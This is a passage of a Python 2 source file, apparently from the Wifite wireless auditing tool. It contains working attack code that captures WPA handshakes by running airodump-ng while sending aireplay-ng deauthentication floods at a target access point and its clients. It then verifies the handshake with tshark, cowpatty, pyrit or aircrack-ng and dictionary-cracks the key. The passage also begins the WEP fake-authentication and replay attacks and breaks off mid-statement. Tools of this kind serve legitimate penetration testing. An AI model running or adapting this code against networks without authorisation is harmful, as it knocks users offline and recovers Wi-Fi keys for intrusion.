  2030.     proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2031.     proc.wait()
  2032.     for line in proc.communicate()[0].split('\n'):
  2033.         if line.find('SSID=') != -1:
  2034.             essid = line[line.find('SSID=') + 5:]
  2035.             print GR + ' [+]' + W + ' guessed essid: %s' % (G + essid + W)
  2036.             return essid
  2037.     print R + ' [!]' + O + ' unable to guess essid!' + W
  2038.     return ''
  2039.  
  2040.  
  2041. def get_bssid_from_cap(essid, capfile):
  2042.     """
  2043.         Returns first BSSID of access point found in cap file.
  2044.         This is not accurate at all, but it's a good guess.
  2045.         Returns '' if not found.
  2046.     """
  2047.     global RUN_CONFIG
  2048.  
  2049.     if not program_exists('tshark'): return ''
  2050.  
  2051.     # Attempt to get BSSID based on ESSID
  2052.     if essid != '':
  2053.         cmd = ['tshark',
  2054.                '-r', capfile,
  2055.                '-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid),
  2056.                '-n',  # Do not resolve MAC vendor names
  2057.                '-T', 'fields',  # Only display certain fields
  2058.                '-e', 'wlan.sa']  # souce MAC address
  2059.         proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2060.         proc.wait()
  2061.         bssid = proc.communicate()[0].split('\n')[0]
  2062.         if bssid != '': return bssid
  2063.  
  2064.     cmd = ['tshark',
  2065.            '-r', capfile,
  2066.            '-R', 'eapol',
  2067.            '-n']
  2068.     proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2069.     proc.wait()
  2070.     for line in proc.communicate()[0].split('\n'):
  2071.         if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'):
  2072.             while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  2073.             line = line.replace('\t', ' ')
  2074.             while line.find('  ') != -1: line = line.replace('  ', ' ')
  2075.             return line.split(' ')[2]
  2076.         elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'):
  2077.             while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  2078.             line = line.replace('\t', ' ')
  2079.             while line.find('  ') != -1: line = line.replace('  ', ' ')
  2080.             return line.split(' ')[4]
  2081.     return ''
  2082.  
  2083.  
  2084. def attack_interrupted_prompt():
  2085.     """
  2086.         Promps user to decide if they want to exit,
  2087.         skip to cracking WPA handshakes,
  2088.         or continue attacking the remaining targets (if applicable).
  2089.         returns True if user chose to exit complete, False otherwise
  2090.     """
  2091.     global RUN_CONFIG
  2092.     should_we_exit = False
  2093.     # If there are more targets to attack, ask what to do next
  2094.     if RUN_CONFIG.TARGETS_REMAINING > 0:
  2095.         options = ''
  2096.         print GR + "\n [+] %s%d%s target%s remain%s" % (G, RUN_CONFIG.TARGETS_REMAINING, W,
  2097.                                                         '' if RUN_CONFIG.TARGETS_REMAINING == 1 else 's',
  2098.                                                         's' if RUN_CONFIG.TARGETS_REMAINING == 1 else '')
  2099.         print GR + " [+]" + W + " what do you want to do?"
  2100.         options += G + 'c' + W
  2101.         print G + "     [c]ontinue" + W + " attacking targets"
  2102.  
  2103.         if len(RUN_CONFIG.WPA_CAPS_TO_CRACK) > 0:
  2104.             options += W + ', ' + O + 's' + W
  2105.             print O + "     [s]kip" + W + " to cracking WPA cap files"
  2106.         options += W + ', or ' + R + 'e' + W
  2107.         print R + "     [e]xit" + W + " completely"
  2108.         ri = ''
  2109.         while ri != 'c' and ri != 's' and ri != 'e':
  2110.             ri = raw_input(GR + ' [+]' + W + ' please make a selection (%s): ' % options)
  2111.  
  2112.         if ri == 's':
  2113.             RUN_CONFIG.TARGETS_REMAINING = -1  # Tells start() to ignore other targets, skip to cracking
  2114.         elif ri == 'e':
  2115.             should_we_exit = True
  2116.     return should_we_exit
  2117.  
  2118.  
  2119. #
  2120. # Abstract base class for attacks.
  2121. # Attacks are required to implement the following methods:
  2122. #       RunAttack - Initializes the attack
  2123. #       EndAttack - Cleanly ends the attack
  2124. #
  2125. class Attack(object):
  2126.     __metaclass__ = abc.ABCMeta
  2127.  
  2128.     @abc.abstractmethod
  2129.     def RunAttack(self):
  2130.         raise NotImplementedError()
  2131.  
  2132.     @abc.abstractmethod
  2133.     def EndAttack(self):
  2134.         raise NotImplementedError()
  2135.  
  2136.  
  2137. #################
  2138. # WPA FUNCTIONS #
  2139. #################
  2140. class WPAAttack(Attack):
  2141.     def __init__(self, iface, target, clients, config):
  2142.         self.iface = iface
  2143.         self.clients = clients
  2144.         self.target = target
  2145.         self.RUN_CONFIG = config
  2146.  
  2147.     def RunAttack(self):
  2148.         '''
  2149.             Abstract method for initializing the WPA attack
  2150.         '''
  2151.         self.wpa_get_handshake()
  2152.  
  2153.     def EndAttack(self):
  2154.         '''
  2155.             Abstract method for ending the WPA attack
  2156.         '''
  2157.         pass
  2158.  
  2159.     def wpa_get_handshake(self):
  2160.         """
  2161.             Opens an airodump capture on the target, dumping to a file.
  2162.             During the capture, sends deauthentication packets to the target both as
  2163.             general deauthentication packets and specific packets aimed at connected clients.
  2164.             Waits until a handshake is captured.
  2165.                 "iface"   - interface to capture on
  2166.                 "target"  - Target object containing info on access point
  2167.                 "clients" - List of Client objects associated with the target
  2168.             Returns True if handshake was found, False otherwise
  2169.         """
  2170.  
  2171.         if self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0: self.RUN_CONFIG.WPA_ATTACK_TIMEOUT = -1
  2172.  
  2173.         # Generate the filename to save the .cap file as <SSID>_aa-bb-cc-dd-ee-ff.cap
  2174.         save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
  2175.                   + '_' + self.target.bssid.replace(':', '-') + '.cap'
  2176.  
  2177.         # Check if we already have a handshake for this SSID... If we do, generate a new filename
  2178.         save_index = 0
  2179.         while os.path.exists(save_as):
  2180.             save_index += 1
  2181.             save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
  2182.                       + '_' + self.target.bssid.replace(':', '-') \
  2183.                       + '_' + str(save_index) + '.cap'
  2184.  
  2185.         # Remove previous airodump output files (if needed)
  2186.         remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2187.  
  2188.         # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C)
  2189.         try:
  2190.             # Start airodump-ng process to capture handshakes
  2191.             cmd = ['airodump-ng',
  2192.                    '-w', self.RUN_CONFIG.temp + 'wpa',
  2193.                    '-c', self.target.channel,
  2194.                    '--bssid', self.target.bssid, self.iface]
  2195.             proc_read = Popen(cmd, stdout=DN, stderr=DN)
  2196.  
  2197.             # Setting deauthentication process here to avoid errors later on
  2198.             proc_deauth = None
  2199.  
  2200.             print ' %s starting %swpa handshake capture%s on "%s"' % \
  2201.                   (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT) + W, G, W, G + self.target.ssid + W)
  2202.             got_handshake = False
  2203.  
  2204.             seconds_running = 0
  2205.             seconds_since_last_deauth = 0
  2206.  
  2207.             target_clients = self.clients[:]
  2208.             client_index = -1
  2209.             start_time = time.time()
  2210.             # Deauth and check-for-handshake loop
  2211.             while not got_handshake and (
  2212.                     self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0 or seconds_running < self.RUN_CONFIG.WPA_ATTACK_TIMEOUT):
  2213.                 if proc_read.poll() != None:
  2214.                     print ""
  2215.                     print "airodump-ng exited with status " + str(proc_read.poll())
  2216.                     print ""
  2217.                     break
  2218.                 time.sleep(1)
  2219.                 seconds_since_last_deauth += int(time.time() - start_time - seconds_running)
  2220.                 seconds_running = int(time.time() - start_time)
  2221.  
  2222.                 print "                                                          \r",
  2223.                 print ' %s listening for handshake...\r' % \
  2224.                       (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W),
  2225.                 stdout.flush()
  2226.  
  2227.                 if seconds_since_last_deauth > self.RUN_CONFIG.WPA_DEAUTH_TIMEOUT:
  2228.                     seconds_since_last_deauth = 0
  2229.                     # Send deauth packets via aireplay-ng
  2230.                     cmd = ['aireplay-ng',
  2231.                            '--ignore-negative-one',
  2232.                            '-0',  # Attack method (Deauthentication)
  2233.                            str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),  # Number of packets to send
  2234.                            '-a', self.target.bssid]
  2235.  
  2236.                     client_index += 1
  2237.  
  2238.                     if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients):
  2239.                         print " %s sending %s deauth to %s*broadcast*%s..." % \
  2240.                               (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W,
  2241.                                G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, G, W),
  2242.                         client_index = -1
  2243.                     else:
  2244.                         print " %s sending %s deauth to %s... " % \
  2245.                               (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, \
  2246.                                G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, \
  2247.                                G + target_clients[client_index].bssid + W),
  2248.                         cmd.append('-h')
  2249.                         cmd.append(target_clients[client_index].bssid)
  2250.                     cmd.append(self.iface)
  2251.                     stdout.flush()
  2252.  
  2253.                     # Send deauth packets via aireplay, wait for them to complete.
  2254.                     proc_deauth = Popen(cmd, stdout=DN, stderr=DN)
  2255.                     proc_deauth.wait()
  2256.                     print "sent\r",
  2257.                     stdout.flush()
  2258.  
  2259.                 # Copy current dump file for consistency
  2260.                 if not os.path.exists(self.RUN_CONFIG.temp + 'wpa-01.cap'): continue
  2261.                 copy(self.RUN_CONFIG.temp + 'wpa-01.cap', self.RUN_CONFIG.temp + 'wpa-01.cap.temp')
  2262.  
  2263.                 # Save copy of cap file (for debugging)
  2264.                 #remove_file('/root/new/wpa-01.cap')
  2265.                 #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap')
  2266.  
  2267.                 # Check for handshake
  2268.                 if self.has_handshake(self.target, self.RUN_CONFIG.temp + 'wpa-01.cap.temp'):
  2269.                     got_handshake = True
  2270.  
  2271.                     try:
  2272.                         os.mkdir(self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep)
  2273.                     except OSError:
  2274.                         pass
  2275.  
  2276.                     # Kill the airodump and aireplay processes
  2277.                     send_interrupt(proc_read)
  2278.                     send_interrupt(proc_deauth)
  2279.  
  2280.                     # Save a copy of the handshake
  2281.                     rename(self.RUN_CONFIG.temp + 'wpa-01.cap.temp', save_as)
  2282.  
  2283.                     print '\n %s %shandshake captured%s! saved as "%s"' % (
  2284.                     GR + sec_to_hms(seconds_running) + W, G, W, G + save_as + W)
  2285.                     self.RUN_CONFIG.WPA_FINDINGS.append(
  2286.                         '%s (%s) handshake captured' % (self.target.ssid, self.target.bssid))
  2287.                     self.RUN_CONFIG.WPA_FINDINGS.append('saved as %s' % (save_as))
  2288.                     self.RUN_CONFIG.WPA_FINDINGS.append('')
  2289.  
  2290.                     # Strip handshake if needed
  2291.                     if self.RUN_CONFIG.WPA_STRIP_HANDSHAKE: self.strip_handshake(save_as)
  2292.  
  2293.                     # Add the filename and SSID to the list of 'to-crack'
  2294.                     # Cracking will be handled after all attacks are finished.
  2295.                     self.RUN_CONFIG.WPA_CAPS_TO_CRACK.append(CapFile(save_as, self.target.ssid, self.target.bssid))
  2296.  
  2297.                     break  # Break out of while loop
  2298.  
  2299.                 # No handshake yet
  2300.                 os.remove(self.RUN_CONFIG.temp + 'wpa-01.cap.temp')
  2301.  
  2302.                 # Check the airodump output file for new clients
  2303.                 for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wpa-01.csv')[1]:
  2304.                     if client.station != self.target.bssid: continue
  2305.                     new_client = True
  2306.                     for c in target_clients:
  2307.                         if client.bssid == c.bssid:
  2308.                             new_client = False
  2309.                             break
  2310.  
  2311.                     if new_client:
  2312.                         print " %s %snew client%s found: %s                         " % \
  2313.                               (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, G, W, \
  2314.                                G + client.bssid + W)
  2315.                         target_clients.append(client)
  2316.  
  2317.             # End of Handshake wait loop.
  2318.  
  2319.             if not got_handshake:
  2320.                 print R + ' [0:00:00]' + O + ' unable to capture handshake in time' + W
  2321.  
  2322.         except KeyboardInterrupt:
  2323.             print R + '\n (^C)' + O + ' WPA handshake capture interrupted' + W
  2324.             if attack_interrupted_prompt():
  2325.                 remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2326.                 send_interrupt(proc_read)
  2327.                 send_interrupt(proc_deauth)
  2328.                 print ''
  2329.                 self.RUN_CONFIG.exit_gracefully(0)
  2330.  
  2331.  
  2332.         # clean up
  2333.         remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2334.         send_interrupt(proc_read)
  2335.         send_interrupt(proc_deauth)
  2336.  
  2337.         return got_handshake
  2338.  
  2339.     def has_handshake_tshark(self, target, capfile):
  2340.         """
  2341.             Uses TShark to check for a handshake.
  2342.             Returns "True" if handshake is found, false otherwise.
  2343.         """
  2344.         if program_exists('tshark'):
  2345.             # Call Tshark to return list of EAPOL packets in cap file.
  2346.             cmd = ['tshark',
  2347.                    '-r', capfile,  # Input file
  2348.                    '-R', 'eapol',  # Filter (only EAPOL packets)
  2349.                    '-n']  # Do not resolve names (MAC vendors)
  2350.             proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2351.             proc.wait()
  2352.             lines = proc.communicate()[0].split('\n')
  2353.  
  2354.             # Get list of all clients in cap file
  2355.             clients = []
  2356.             for line in lines:
  2357.                 if line.find('appears to have been cut short') != -1 or line.find(
  2358.                         'Running as user "root"') != -1 or line.strip() == '':
  2359.                     continue
  2360.  
  2361.                 while line.startswith(' '):  line = line[1:]
  2362.                 while line.find('  ') != -1: line = line.replace('  ', ' ')
  2363.  
  2364.                 fields = line.split(' ')
  2365.                 # ensure tshark dumped correct info
  2366.                 if len(fields) < 5:
  2367.                     continue
  2368.  
  2369.                 src = fields[2].lower()
  2370.                 dst = fields[4].lower()
  2371.  
  2372.                 if src == target.bssid.lower() and clients.count(dst) == 0:
  2373.                     clients.append(dst)
  2374.                 elif dst == target.bssid.lower() and clients.count(src) == 0:
  2375.                     clients.append(src)
  2376.  
  2377.             # Check each client for a handshake
  2378.             for client in clients:
  2379.                 msg_num = 1  # Index of message in 4-way handshake (starts at 1)
  2380.  
  2381.                 for line in lines:
  2382.                     if line.find('appears to have been cut short') != -1: continue
  2383.                     if line.find('Running as user "root"') != -1: continue
  2384.                     if line.strip() == '': continue
  2385.  
  2386.                     # Sanitize tshark's output, separate into fields
  2387.                     while line[0] == ' ': line = line[1:]
  2388.                     while line.find('  ') != -1: line = line.replace('  ', ' ')
  2389.  
  2390.                     fields = line.split(' ')
  2391.  
  2392.                     # Sometimes tshark doesn't display the full header for "Key (msg 3/4)" on the 3rd handshake.
  2393.                     # This catches this glitch and fixes it.
  2394.                     if len(fields) < 8:
  2395.                         continue
  2396.                     elif len(fields) == 8:
  2397.                         fields.append('(msg')
  2398.                         fields.append('3/4)')
  2399.  
  2400.                     src = fields[2].lower()  # Source MAC address
  2401.                     dst = fields[4].lower()  # Destination MAC address
  2402.                     if len(fields) == 12:
  2403.                         # "Message x of y" format
  2404.                         msg = fields[9][0]
  2405.                     else:
  2406.                         msg = fields[-1][0]
  2407.  
  2408.                     # First, third msgs in 4-way handshake are from the target to client
  2409.                     if msg_num % 2 == 1 and (src != target.bssid.lower() or dst != client):
  2410.                         continue
  2411.                     # Second, fourth msgs in 4-way handshake are from client to target
  2412.                     elif msg_num % 2 == 0 and (dst != target.bssid.lower() or src != client):
  2413.                         continue
  2414.  
  2415.                     # The messages must appear in sequential order.
  2416.                     try:
  2417.                         if int(msg) != msg_num: continue
  2418.                     except ValueError:
  2419.                         continue
  2420.  
  2421.                     msg_num += 1
  2422.  
  2423.                     # We need the first 4 messages of the 4-way handshake
  2424.                     # Although aircrack-ng cracks just fine with only 3 of the messages...
  2425.                     if msg_num >= 4:
  2426.                         return True
  2427.         return False
  2428.  
  2429.     def has_handshake_cowpatty(self, target, capfile, nonstrict=True):
  2430.         """
  2431.             Uses cowpatty to check for a handshake.
  2432.             Returns "True" if handshake is found, false otherwise.
  2433.         """
  2434.         if not program_exists('cowpatty'): return False
  2435.  
  2436.         # Call cowpatty to check if capfile contains a valid handshake.
  2437.         cmd = ['cowpatty',
  2438.                '-r', capfile,  # input file
  2439.                '-s', target.ssid,  # SSID
  2440.                '-c']  # Check for handshake
  2441.         # Uses frames 1, 2, or 3 for key attack
  2442.         if nonstrict: cmd.append('-2')
  2443.         proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2444.         proc.wait()
  2445.         response = proc.communicate()[0]
  2446.         if response.find('incomplete four-way handshake exchange') != -1:
  2447.             return False
  2448.         elif response.find('Unsupported or unrecognized pcap file.') != -1:
  2449.             return False
  2450.         elif response.find('Unable to open capture file: Success') != -1:
  2451.             return False
  2452.         return True
  2453.  
  2454.     def has_handshake_pyrit(self, target, capfile):
  2455.         """
  2456.             Uses pyrit to check for a handshake.
  2457.             Returns "True" if handshake is found, false otherwise.
  2458.         """
  2459.         if not program_exists('pyrit'): return False
  2460.  
  2461.         # Call pyrit to "Analyze" the cap file's handshakes.
  2462.         cmd = ['pyrit',
  2463.                '-r', capfile,
  2464.                'analyze']
  2465.         proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2466.         proc.wait()
  2467.         hit_essid = False
  2468.         for line in proc.communicate()[0].split('\n'):
  2469.             # Iterate over every line of output by Pyrit
  2470.             if line == '' or line == None: continue
  2471.             if line.find("AccessPoint") != -1:
  2472.                 hit_essid = (line.find("('" + target.ssid + "')") != -1) and \
  2473.                             (line.lower().find(target.bssid.lower()) != -1)
  2474.                 #hit_essid = (line.lower().find(target.bssid.lower()))
  2475.  
  2476.             else:
  2477.                 # If Pyrit says it's good or workable, it's a valid handshake.
  2478.                 if hit_essid and (line.find(', good, ') != -1 or \
  2479.                                               line.find(', workable, ') != -1):
  2480.                     return True
  2481.         return False
  2482.  
  2483.     def has_handshake_aircrack(self, target, capfile):
  2484.         """
  2485.             Uses aircrack-ng to check for handshake.
  2486.             Returns True if found, False otherwise.
  2487.         """
  2488.         if not program_exists('aircrack-ng'): return False
  2489.         crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile
  2490.         proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True)
  2491.         proc_crack.wait()
  2492.         txt = proc_crack.communicate()[0]
  2493.  
  2494.         return (txt.find('Passphrase not in dictionary') != -1)
  2495.  
  2496.     def has_handshake(self, target, capfile):
  2497.         """
  2498.             Checks if .cap file contains a handshake.
  2499.             Returns True if handshake is found, False otherwise.
  2500.         """
  2501.         valid_handshake = True
  2502.         tried = False
  2503.         if self.RUN_CONFIG.WPA_HANDSHAKE_TSHARK:
  2504.             tried = True
  2505.             valid_handshake = self.has_handshake_tshark(target, capfile)
  2506.  
  2507. #        if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
  2508. #            tried = True
  2509. #            valid_handshake = self.has_handshake_cowpatty(target, capfile)
  2510.  
  2511.         # Use CowPatty to check for handshake.
  2512.         if valid_handshake == False and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
  2513.             tried = True
  2514.             valid_handshake = self.has_handshake_cowpatty(target, capfile)
  2515.  
  2516.         # Check for handshake using Pyrit if applicable
  2517.         if valid_handshake == False and self.RUN_CONFIG.WPA_HANDSHAKE_PYRIT:
  2518.             tried = True
  2519.             valid_handshake = self.has_handshake_pyrit(target, capfile)
  2520.  
  2521.         # Check for handshake using aircrack-ng
  2522.         if valid_handshake == False and self.RUN_CONFIG.WPA_HANDSHAKE_AIRCRACK:
  2523.             tried = True
  2524.             valid_handshake = self.has_handshake_aircrack(target, capfile)
  2525.  
  2526.         if tried: return valid_handshake
  2527.         print R + ' [!]' + O + ' unable to check for handshake: all handshake options are disabled!'
  2528.         self.RUN_CONFIG.exit_gracefully(1)
  2529.  
  2530.     def strip_handshake(self, capfile):
  2531.         """
  2532.             Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file
  2533.             File in location 'capfile' is overwritten!
  2534.         """
  2535.         output_file = capfile
  2536.         if program_exists('pyrit'):
  2537.             cmd = ['pyrit',
  2538.                    '-r', capfile,
  2539.                    '-o', capfile + '.temp',
  2540.                    'stripLive']
  2541.             call(cmd, stdout=DN, stderr=DN)
  2542.             rename(capfile + '.temp', output_file)
  2543.  
  2544.         elif program_exists('tshark'):
  2545.             # strip results with tshark
  2546.             cmd = ['tshark',
  2547.                    '-r', capfile,  # input file
  2548.                    '-R', 'eapol || wlan_mgt.tag.interpretation',  # filter
  2549.                    '-w', capfile + '.temp']  # output file
  2550.             proc_strip = call(cmd, stdout=DN, stderr=DN)
  2551.  
  2552.             rename(capfile + '.temp', output_file)
  2553.  
  2554.         else:
  2555.             print R + " [!]" + O + " unable to strip .cap file: neither pyrit nor tshark were found" + W
  2556.  
  2557.  
  2558. ##########################
  2559. # WPA CRACKING FUNCTIONS #
  2560. ##########################
  2561. def wpa_crack(capfile, RUN_CONFIG):
  2562.     """
  2563.         Cracks cap file using aircrack-ng
  2564.         This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,
  2565.         they can do so manually.
  2566.     """
  2567.     if RUN_CONFIG.WPA_DICTIONARY == '':
  2568.         print R + ' [!]' + O + ' no WPA dictionary found! use -dict <file> command-line argument' + W
  2569.         return False
  2570.  
  2571.     print GR + ' [0:00:00]' + W + ' cracking %s with %s' % (G + capfile.ssid + W, G + 'aircrack-ng' + W)
  2572.     start_time = time.time()
  2573.     cracked = False
  2574.  
  2575.     remove_file(RUN_CONFIG.temp + 'out.out')
  2576.     remove_file(RUN_CONFIG.temp + 'wpakey.txt')
  2577.  
  2578.     cmd = ['aircrack-ng',
  2579.            '-a', '2',  # WPA crack
  2580.            '-w', RUN_CONFIG.WPA_DICTIONARY,  # Wordlist
  2581.            '-l', RUN_CONFIG.temp + 'wpakey.txt',  # Save key to file
  2582.            '-b', capfile.bssid,  # BSSID of target
  2583.            capfile.filename]
  2584.  
  2585.     proc = Popen(cmd, stdout=open(RUN_CONFIG.temp + 'out.out', 'a'), stderr=DN)
  2586.     try:
  2587.         kt = 0  # Keys tested
  2588.         kps = 0  # Keys per second
  2589.         while True:
  2590.             time.sleep(1)
  2591.  
  2592.             if proc.poll() != None:  # aircrack stopped
  2593.                 if os.path.exists(RUN_CONFIG.temp + 'wpakey.txt'):
  2594.                     # Cracked
  2595.                     inf = open(RUN_CONFIG.temp + 'wpakey.txt')
  2596.                     key = inf.read().strip()
  2597.                     inf.close()
  2598.                     RUN_CONFIG.WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % (
  2599.                     G + capfile.ssid + W, G + capfile.bssid + W, C + key + W))
  2600.                     RUN_CONFIG.WPA_FINDINGS.append('')
  2601.                     t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid)
  2602.                     t.key = key
  2603.                     RUN_CONFIG.save_cracked(t)
  2604.  
  2605.                     print GR + '\n [+]' + W + ' cracked %s (%s)!' % (G + capfile.ssid + W, G + capfile.bssid + W)
  2606.                     print GR + ' [+]' + W + ' key:    "%s"\n' % (C + key + W)
  2607.                     cracked = True
  2608.                 else:
  2609.                     # Did not crack
  2610.                     print R + '\n [!]' + R + 'crack attempt failed' + O + ': passphrase not in dictionary' + W
  2611.                 break
  2612.  
  2613.             inf = open(RUN_CONFIG.temp + 'out.out', 'r')
  2614.             lines = inf.read().split('\n')
  2615.             inf.close()
  2616.             outf = open(RUN_CONFIG.temp + 'out.out', 'w')
  2617.             outf.close()
  2618.             for line in lines:
  2619.                 i = line.find(']')
  2620.                 j = line.find('keys tested', i)
  2621.                 if i != -1 and j != -1:
  2622.                     kts = line[i + 2:j - 1]
  2623.                     try:
  2624.                         kt = int(kts)
  2625.                     except ValueError:
  2626.                         pass
  2627.                 i = line.find('(')
  2628.                 j = line.find('k/s)', i)
  2629.                 if i != -1 and j != -1:
  2630.                     kpss = line[i + 1:j - 1]
  2631.                     try:
  2632.                         kps = float(kpss)
  2633.                     except ValueError:
  2634.                         pass
  2635.  
  2636.             print "\r %s %s keys tested (%s%.2f keys/sec%s)   " % \
  2637.                   (GR + sec_to_hms(time.time() - start_time) + W, G + add_commas(kt) + W, G, kps, W),
  2638.             stdout.flush()
  2639.  
  2640.     except KeyboardInterrupt:
  2641.         print R + '\n (^C)' + O + ' WPA cracking interrupted' + W
  2642.  
  2643.     send_interrupt(proc)
  2644.     try:
  2645.         os.kill(proc.pid, SIGTERM)
  2646.     except OSError:
  2647.         pass
  2648.  
  2649.     return cracked
  2650.  
  2651.  
  2652. def add_commas(n):
  2653.     """
  2654.         Receives integer n, returns string representation of n with commas in thousands place.
  2655.         I'm sure there's easier ways of doing this... but meh.
  2656.     """
  2657.     strn = str(n)
  2658.     lenn = len(strn)
  2659.     i = 0
  2660.     result = ''
  2661.     while i < lenn:
  2662.         if (lenn - i) % 3 == 0 and i != 0: result += ','
  2663.         result += strn[i]
  2664.         i += 1
  2665.     return result
  2666.  
  2667.  
  2668. #################
  2669. # WEP FUNCTIONS #
  2670. #################
  2671. class WEPAttack(Attack):
  2672.     def __init__(self, iface, target, clients, config):
  2673.         self.iface = iface
  2674.         self.target = target
  2675.         self.clients = clients
  2676.         self.RUN_CONFIG = config
  2677.  
  2678.     def RunAttack(self):
  2679.         '''
  2680.             Abstract method for dispatching the WEP crack
  2681.         '''
  2682.         self.attack_wep()
  2683.  
  2684.     def EndAttack(self):
  2685.         '''
  2686.             Abstract method for ending the WEP attack
  2687.         '''
  2688.         pass
  2689.  
  2690.     def attack_wep(self):
  2691.         """
  2692.         Attacks WEP-encrypted network.
  2693.         Returns True if key was successfully found, False otherwise.
  2694.         """
  2695.         if self.RUN_CONFIG.WEP_TIMEOUT <= 0: self.RUN_CONFIG.WEP_TIMEOUT = -1
  2696.  
  2697.         total_attacks = 6  # 4 + (2 if len(clients) > 0 else 0)
  2698.         if not self.RUN_CONFIG.WEP_ARP_REPLAY: total_attacks -= 1
  2699.         if not self.RUN_CONFIG.WEP_CHOPCHOP:   total_attacks -= 1
  2700.         if not self.RUN_CONFIG.WEP_FRAGMENT:   total_attacks -= 1
  2701.         if not self.RUN_CONFIG.WEP_CAFFELATTE: total_attacks -= 1
  2702.         if not self.RUN_CONFIG.WEP_P0841:      total_attacks -= 1
  2703.         if not self.RUN_CONFIG.WEP_HIRTE:      total_attacks -= 1
  2704.  
  2705.         if total_attacks <= 0:
  2706.             print R + ' [!]' + O + ' unable to initiate WEP attacks: no attacks are selected!'
  2707.             return False
  2708.         remaining_attacks = total_attacks
  2709.  
  2710.         print ' %s preparing attack "%s" (%s)' % \
  2711.               (GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W, G + self.target.bssid + W)
  2712.  
  2713.         remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2714.         remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2715.  
  2716.         # Start airodump process to capture packets
  2717.         cmd_airodump = ['airodump-ng',
  2718.                         '-w', self.RUN_CONFIG.temp + 'wep',  # Output file name (wep-01.cap, wep-01.csv)
  2719.                         '-c', self.target.channel,  # Wireless channel
  2720.                         '--bssid', self.target.bssid,
  2721.                         self.iface]
  2722.         proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
  2723.         proc_aireplay = None
  2724.         proc_aircrack = None
  2725.  
  2726.         successful = False  # Flag for when attack is successful
  2727.         started_cracking = False  # Flag for when we have started aircrack-ng
  2728.         client_mac = ''  # The client mac we will send packets to/from
  2729.  
  2730.         total_ivs = 0
  2731.         ivs = 0
  2732.         last_ivs = 0
  2733.         for attack_num in xrange(0, 6):
  2734.  
  2735.             # Skip disabled attacks
  2736.             if attack_num == 0 and not self.RUN_CONFIG.WEP_ARP_REPLAY:
  2737.                 continue
  2738.             elif attack_num == 1 and not self.RUN_CONFIG.WEP_CHOPCHOP:
  2739.                 continue
  2740.             elif attack_num == 2 and not self.RUN_CONFIG.WEP_FRAGMENT:
  2741.                 continue
  2742.             elif attack_num == 3 and not self.RUN_CONFIG.WEP_CAFFELATTE:
  2743.                 continue
  2744.             elif attack_num == 4 and not self.RUN_CONFIG.WEP_P0841:
  2745.                 continue
  2746.             elif attack_num == 5 and not self.RUN_CONFIG.WEP_HIRTE:
  2747.                 continue
  2748.  
  2749.             remaining_attacks -= 1
  2750.  
  2751.             try:
  2752.  
  2753.                 if self.wep_fake_auth(self.iface, self.target, sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)):
  2754.                     # Successful fake auth
  2755.                     client_mac = self.RUN_CONFIG.THIS_MAC
  2756.                 elif not self.RUN_CONFIG.WEP_IGNORE_FAKEAUTH:
  2757.                     send_interrupt(proc_aireplay)
  2758.                     send_interrupt(proc_airodump)
  2759.                     print R + ' [!]' + O + ' unable to fake-authenticate with target'
  2760.                     print R + ' [!]' + O + ' to skip this speed bump, select "ignore-fake-auth" at command-line'
  2761.                     return False
  2762.  
  2763.                 remove_file(self.RUN_CONFIG.temp + 'arp.cap')
  2764.                 # Generate the aireplay-ng arguments based on attack_num and other params
  2765.                 cmd = self.get_aireplay_command(self.iface, attack_num, self.target, self.clients, client_mac)
  2766.                 if cmd == '': continue
  2767.                 if proc_aireplay != None:
  2768.                     send_interrupt(proc_aireplay)
  2769.                 proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  2770.  
  2771.                 print '\r %s attacking "%s" via' % (
